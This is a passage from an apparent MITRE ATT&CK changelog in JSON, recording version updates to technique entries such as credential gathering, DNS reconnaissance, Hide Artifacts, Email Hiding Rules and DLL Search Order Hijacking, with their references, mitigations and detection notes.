leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\\n \\n Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Bleeping Computer 2easy 2021\", \"description\": \"Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.\", \"url\": \"https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/\"}, \"root['external_references'][5]\": {\"source_name\": \"Bleeping Computer Stealer Logs 2023\", \"description\": \"Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.\", \"url\": \"https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/\"}, \"root['external_references'][11]\": {\"source_name\": \"SecureWorks Infostealers 2023\", \"description\": \"SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.\", \"url\": \"https://www.secureworks.com/research/the-growing-threat-from-infostealers\"}, \"root['x_mitre_contributors'][3]\": \"Massimo Giaimo, W\\u00fcrth Group Cyber Defence Center\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gather credentials that can be used during tt1Adversaries may gather credentials that can be used during t
>argeting. Account credentials gathered by adversaries may be>argeting. Account credentials gathered by adversaries may be
> those directly associated with the target victim organizati> those directly associated with the target victim organizati
>on or attempt to take advantage of the tendency for users to>on or attempt to take advantage of the tendency for users to
> use the same passwords across personal and business account> use the same passwords across personal and business account
>s.  Adversaries may gather credentials from potential victim>s.  Adversaries may gather credentials from potential victim
>s in various ways, such as direct elicitation via [Phishing >s in various ways, such as direct elicitation via [Phishing 
>for Information](https://attack.mitre.org/techniques/T1598).>for Information](https://attack.mitre.org/techniques/T1598).
> Adversaries may also compromise sites then add malicious co> Adversaries may also compromise sites then add malicious co
>ntent designed to collect website authentication cookies fro>ntent designed to collect website authentication cookies fro
>m visitors.(Citation: ATT ScanBox) Credential information ma>m visitors.(Citation: ATT ScanBox) (Citation: Register Deloi
>y also be exposed to adversaries via leaks to online or othe>tte)(Citation: Register Uber)(Citation: Detectify Slack Toke
>r accessible data sets (ex: [Search Engines](https://attack.>ns)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleH
>mitre.org/techniques/T1593/002), breach dumps, code reposito>og)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where mul
>ries, etc.).(Citation: Register Deloitte)(Citation: Register>ti-factor authentication (MFA) based on out-of-band communic
> Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes Gi>ations is in use, adversaries may compromise a service provi
>tHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gi>der to gain access to MFA codes and one-time passwords (OTP)
>trob)(Citation: CNET Leaks) Adversaries may also purchase cr>.(Citation: Okta Scatter Swine 2022)  Credential information
>edentials from dark web or other black-markets. Finally, whe> may also be exposed to adversaries via leaks to online or o
>re multi-factor authentication (MFA) based on out-of-band co>ther accessible data sets (ex: [Search Engines](https://atta
>mmunications is in use, adversaries may compromise a service>ck.mitre.org/techniques/T1593/002), breach dumps, code repos
> provider to gain access to MFA codes and one-time passwords>itories, etc.). Adversaries may purchase credentials from da
> (OTP).(Citation: Okta Scatter Swine 2022)  Gathering this i>rk web markets, such as Russian Market and 2easy, or through
>nformation may reveal opportunities for other forms of recon> access to Telegram channels that distribute logs from infos
>naissance (ex: [Search Open Websites/Domains](https://attack>tealer malware.(Citation: Bleeping Computer 2easy 2021)(Cita
>.mitre.org/techniques/T1593) or [Phishing for Information](h>tion: SecureWorks Infostealers 2023)(Citation: Bleeping Comp
>ttps://attack.mitre.org/techniques/T1598)), establishing ope>uter Stealer Logs 2023)  Gathering this information may reve
>rational resources (ex: [Compromise Accounts](https://attack>al opportunities for other forms of reconnaissance (ex: [Sea
>.mitre.org/techniques/T1586)), and/or initial access (ex: [E>rch Open Websites/Domains](https://attack.mitre.org/techniqu
>xternal Remote Services](https://attack.mitre.org/techniques>es/T1593) or [Phishing for Information](https://attack.mitre
>/T1133) or [Valid Accounts](https://attack.mitre.org/techniq>.org/techniques/T1598)), establishing operational resources 
>ues/T1078)). >(ex: [Compromise Accounts](https://attack.mitre.org/techniqu
 >es/T1586)), and/or initial access (ex: [External Remote Serv
 >ices](https://attack.mitre.org/techniques/T1133) or [Valid A
 >ccounts](https://attack.mitre.org/techniques/T1078)). 
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 15:47:10.102000+00:00", + "modified": "2024-09-12 19:36:20.374000+00:00", + "name": "DNS", + "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1590/002", + "external_id": "T1590.002" + }, + { + "source_name": "Circl Passive DNS", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "url": "https://www.circl.lu/services/passive-dns/" + }, + { + "source_name": "DNS-CISA", + "description": "CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.", + "url": "https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information" + }, + { + "source_name": "DNS Dumpster", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "url": "https://dnsdumpster.com/" + }, + { + "source_name": "Alexa-dns", + "description": "Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.", + "url": "https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/" + }, + { + "source_name": "Sean Metcalf Twitter DNS Records", + "description": "Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. September 12, 2024.", + "url": "https://x.com/PyroTek3/status/1126487227712921600" + }, + { + "source_name": "Trails-DNS", + "description": "SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.", + "url": "https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:36:20.374000+00:00\", \"old_value\": \"2022-10-21 14:32:48.393000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\\n\\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\\n\\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)\", \"old_value\": \"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\\u2019s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\\n\\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\\u2019s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\\n+Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\\n \\n Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\\n+\\n+Adversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. September 12, 2024.\", \"old_value\": \"Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved May 27, 2022.\", \"new_path\": \"root['external_references'][5]['description']\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://x.com/PyroTek3/status/1126487227712921600\", \"old_value\": \"https://twitter.com/PyroTek3/status/1126487227712921600/photo/1\", \"new_path\": \"root['external_references'][5]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"DNS-CISA\", \"description\": \"CISA. (2016, September 29). DNS Zone Transfer AXFR Requests May Leak Domain Information. Retrieved June 5, 2024.\", \"url\": \"https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information\"}, \"root['external_references'][4]\": {\"source_name\": \"Alexa-dns\", \"description\": \"Scanning Alexa's Top 1M for AXFR. (2015, March 29). Retrieved June 5, 2024.\", \"url\": \"https://en.internetwache.org/scanning-alexas-top-1m-for-axfr-29-03-2015/\"}, \"root['external_references'][6]\": {\"source_name\": \"Trails-DNS\", \"description\": \"SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.\", \"url\": \"https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may gather information about the victim's DNS tht1Adversaries may gather information about the victim's DNS th
>at can be used during targeting. DNS information may include>at can be used during targeting. DNS information may include
> a variety of details, including registered name servers as > a variety of details, including registered name servers as 
>well as records that outline addressing for a target\u2019s subdo>well as records that outline addressing for a target\u2019s subdo
>mains, mail servers, and other hosts. DNS, MX, TXT, and SPF >mains, mail servers, and other hosts. DNS MX, TXT, and SPF r
>records may also reveal the use of third party cloud and Saa>ecords may also reveal the use of third party cloud and SaaS
>S providers, such as Office 365, G Suite, Salesforce, or Zen> providers, such as Office 365, G Suite, Salesforce, or Zend
>desk.(Citation: Sean Metcalf Twitter DNS Records)  Adversari>esk.(Citation: Sean Metcalf Twitter DNS Records)  Adversarie
>es may gather this information in various ways, such as quer>s may gather this information in various ways, such as query
>ying or otherwise collecting details via [DNS/Passive DNS](h>ing or otherwise collecting details via [DNS/Passive DNS](ht
>ttps://attack.mitre.org/techniques/T1596/001). DNS informati>tps://attack.mitre.org/techniques/T1596/001). DNS informatio
>on may also be exposed to adversaries via online or other ac>n may also be exposed to adversaries via online or other acc
>cessible data sets (ex: [Search Open Technical Databases](ht>essible data sets (ex: [Search Open Technical Databases](htt
>tps://attack.mitre.org/techniques/T1596)).(Citation: DNS Dum>ps://attack.mitre.org/techniques/T1596)).(Citation: DNS Dump
>pster)(Citation: Circl Passive DNS) Gathering this informati>ster)(Citation: Circl Passive DNS) Gathering this informatio
>on may reveal opportunities for other forms of reconnaissanc>n may reveal opportunities for other forms of reconnaissance
>e (ex: [Search Open Technical Databases](https://attack.mitr> (ex: [Search Open Technical Databases](https://attack.mitre
>e.org/techniques/T1596), [Search Open Websites/Domains](http>.org/techniques/T1596), [Search Open Websites/Domains](https
>s://attack.mitre.org/techniques/T1593), or [Active Scanning]>://attack.mitre.org/techniques/T1593), or [Active Scanning](
>(https://attack.mitre.org/techniques/T1595)), establishing o>https://attack.mitre.org/techniques/T1595)), establishing op
>perational resources (ex: [Acquire Infrastructure](https://a>erational resources (ex: [Acquire Infrastructure](https://at
>ttack.mitre.org/techniques/T1583) or [Compromise Infrastruct>tack.mitre.org/techniques/T1583) or [Compromise Infrastructu
>ure](https://attack.mitre.org/techniques/T1584)), and/or ini>re](https://attack.mitre.org/techniques/T1584)), and/or init
>tial access (ex: [External Remote Services](https://attack.m>ial access (ex: [External Remote Services](https://attack.mi
>itre.org/techniques/T1133)).>tre.org/techniques/T1133)).  Adversaries may also use DNS zo
 >ne transfer (DNS query type AXFR) to collect all records fro
 >m a misconfigured DNS server.(Citation: Trails-DNS)(Citation
 >: DNS-CISA)(Citation: Alexa-dns)
", + "changelog_mitigations": { + "shared": [], + "new": [ + "M1054: Software Configuration" + ], + "dropped": [ + "M1056: Pre-compromise" + ] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-26 17:41:25.933000+00:00", + "modified": "2024-10-15 15:58:49.815000+00:00", + "name": "Hide Artifacts", + "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564", + "external_id": "T1564" + }, + { + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Sophos Ragnar May 2020", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "File: File Metadata", + "Application Log: Application Log Content", + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "Firmware: Firmware Modification", + "Service: Service Creation", + "Windows Registry: Windows Registry Key Modification", + "Script: Script Execution", + "User Account: User Account Creation", + "Process: OS API Execution", + "User Account: User Account Metadata", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:58:49.815000+00:00\", \"old_value\": \"2024-03-29 17:45:48.126000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1033: Limit Software Installation", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0001: Firmware (Firmware Modification)", + "DS0002: User Account (User Account Creation)", + "DS0002: User Account (User Account Metadata)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-06-07 13:20:23.767000+00:00", + "modified": "2024-10-15 15:56:27.592000+00:00", + "name": "Email Hiding Rules", + "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1564/008", + "external_id": "T1564.008" + }, + { + "source_name": "MacOS Email Rules", + "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.", + "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac" + }, + { + "source_name": "Microsoft BEC Campaign", + "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/" + }, + { + "source_name": "Microsoft Mail Flow Rules 2023", + "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.", + "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules" + }, + { + "source_name": "Microsoft Inbox Rules", + "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.", + "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59" + }, + { + "source_name": "Microsoft New-InboxRule", + "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps" + }, + { + "source_name": "Microsoft Set-InboxRule", + "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps" + }, + { + "source_name": "Microsoft Cloud App Security", + "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.", + "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dor Edry, Microsoft", + "Liran Ravich, CardinalOps" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Application Log: Application Log Content", + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Office Suite" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:56:27.592000+00:00\", \"old_value\": \"2023-10-16 16:41:53.957000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][3]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Office 365\", \"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 18:11:08.357000+00:00", + "modified": "2024-09-30 17:32:59.948000+00:00", + "name": "DLL Search Order Hijacking", + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote 